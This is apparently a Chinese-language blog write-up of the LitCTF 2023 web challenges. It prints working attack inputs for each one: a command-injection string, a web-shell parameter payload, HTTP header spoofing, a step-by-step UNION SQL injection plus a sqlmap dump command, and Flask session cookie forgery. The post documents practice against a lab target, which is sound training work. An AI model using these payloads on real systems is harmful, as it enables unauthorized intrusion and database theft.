[LitCTF 2023]刷题记录

web

导弹迷踪

打开题目发现是小游戏
直接js找flag

[LitCTF 2023]刷题记录_第1张图片

直接在game.js找到flag

NSSCTF{y0u_w1n_th1s_!!!}

PHP是世界上最好的语言!!

打开题目,提示在根目录

应该就是写php代码命令执行


[LitCTF 2023]刷题记录_第2张图片

得到flag

[LitCTF 2023]刷题记录_第3张图片

Vim yyds

打开题目
提示漏了,猜测源码泄露
直接disearch扫

[LitCTF 2023]刷题记录_第4张图片

直接去/.index.php.swp下
得到swp文件
题目提示vim编辑器,用kali打开文件
语句

vim 文件名

得到一段php代码

恢复文件:

vim -r index.php.swp

[LitCTF 2023]刷题记录_第5张图片

分析:
传参cmd和password

  1. 简单的一句话木马格式,cmd为命令
  2. password要进行base64编码

构造payload

cmd=cat /flag&password=R2l2ZV9NZV9Zb3VyX0ZsYWc=

得到flag

[LitCTF 2023]刷题记录_第6张图片

作业管理系统

打开题目发现是登录框
F12一下发现提示admin,admin,直接登录
发现为文件上传,直接传php发现成功(啥过滤都没有)

[LitCTF 2023]刷题记录_第7张图片

得到flag

[LitCTF 2023]刷题记录_第8张图片

1zjs

打开题目,直接js找flag
找了半天,发现是改过的 f1ag

[LitCTF 2023]刷题记录_第9张图片

访问,发现是jsfuck
直接控制台得到flag

[LitCTF 2023]刷题记录_第10张图片

Ping

打开题目

我们ping一下,127.0.0.1

[LitCTF 2023]刷题记录_第11张图片

我们添加命令

127.0.0.1;cat /flag

[LitCTF 2023]刷题记录_第12张图片

发现有过滤,要绕过前端检测

方法一:禁用js

F12+F1

[LitCTF 2023]刷题记录_第13张图片

再次输入命令,得到flag

[LitCTF 2023]刷题记录_第14张图片

方法二:bp抓包绕过前端

ls一下

注:这里不需要system,因为分号后就是命令

[LitCTF 2023]刷题记录_第15张图片

直接cat /flag

[LitCTF 2023]刷题记录_第16张图片

Http pro max plus

打开题目,一眼XFF
bp抓包

[LitCTF 2023]刷题记录_第17张图片

给嘲讽了。。
再试一下client-ip: 127.0.0.1

[LitCTF 2023]刷题记录_第18张图片

提示我们不是来自于pornhub.com,利用Referer
添加Referer:pornhub.com

[LitCTF 2023]刷题记录_第19张图片

提示要用Chrome浏览器
修改User-Agent

[LitCTF 2023]刷题记录_第20张图片

继续添加头,修改代理服务器
语句

Via:Clash.win

[LitCTF 2023]刷题记录_第21张图片

访问/wtfwtfwtfwtf.php
F12查看发现hint

[LitCTF 2023]刷题记录_第22张图片

继续访问
得到flag

[LitCTF 2023]刷题记录_第23张图片

这是什么?SQL !注一下

打开题目

方法一

[LitCTF 2023]刷题记录_第24张图片发现题目已经告诉我们sql语句的闭合方式

?id=1))))))

我们依次输入0,1
发现0会有报错
[LitCTF 2023]刷题记录_第25张图片

那么我们可以采用联合注入
第一步先查询所有数据库
语句

?id=0)))))) union select 1,schema_name from information_schema.schemata; --+

[LitCTF 2023]刷题记录_第26张图片第二步查询表
我们先查查ctftraining

?id=0)))))) union select 1,group_concat(table_name) from information_schema.tables where table_schema='ctftraining'; --+

发现flag
[LitCTF 2023]刷题记录_第27张图片

第三步查询字段

?id=0)))))) union select 1,group_concat(column_name) from information_schema.columns where table_name='flag'; --+

[LitCTF 2023]刷题记录_第28张图片继续查

?id=0)))))) union select 1,group_concat(flag) from flag; --+

发现查不到
[LitCTF 2023]刷题记录_第29张图片

原来这里需要查询为表名.列名
修改一下

?id=0)))))) union select 1,group_concat(flag) from ctftraining.flag; --+

得到flag
[LitCTF 2023]刷题记录_第30张图片

方法二

直接sqlmap跑
语句

sqlmap -u "http://node1.anna.nssctf.cn:28512/?id=1" -D ctftraining -T flag -C flag --dump

[LitCTF 2023]刷题记录_第31张图片

Flag点击就送!

打开题目,随便输个1上去
发现
[LitCTF 2023]刷题记录_第32张图片
重新试一下admin
发现还是不行
[LitCTF 2023]刷题记录_第33张图片
重新输入1
发现提示cookie
[LitCTF 2023]刷题记录_第34张图片

猜测session伪造
抓包
[LitCTF 2023]刷题记录_第35张图片
使用flask-session加解密工具
脚本使用方法

解密:python flask_session_cookie_manager3.py decode -s “secret_key” -c “需要解密的session值”
加密:python flask_session_cookie_manager3.py encode -s “secret_key” -t “需要加密的session值”

猜测密钥为LitCTF
因为身份得是管理员才行
我们得伪造admin,加密一下
(这里用cmd不行,只能用powershell)
在这里插入图片描述把加密后的复制到session上
得到flag
[LitCTF 2023]刷题记录_第36张图片

你可能感兴趣的:(CTF比赛,php,vim,开发语言,web安全,sql)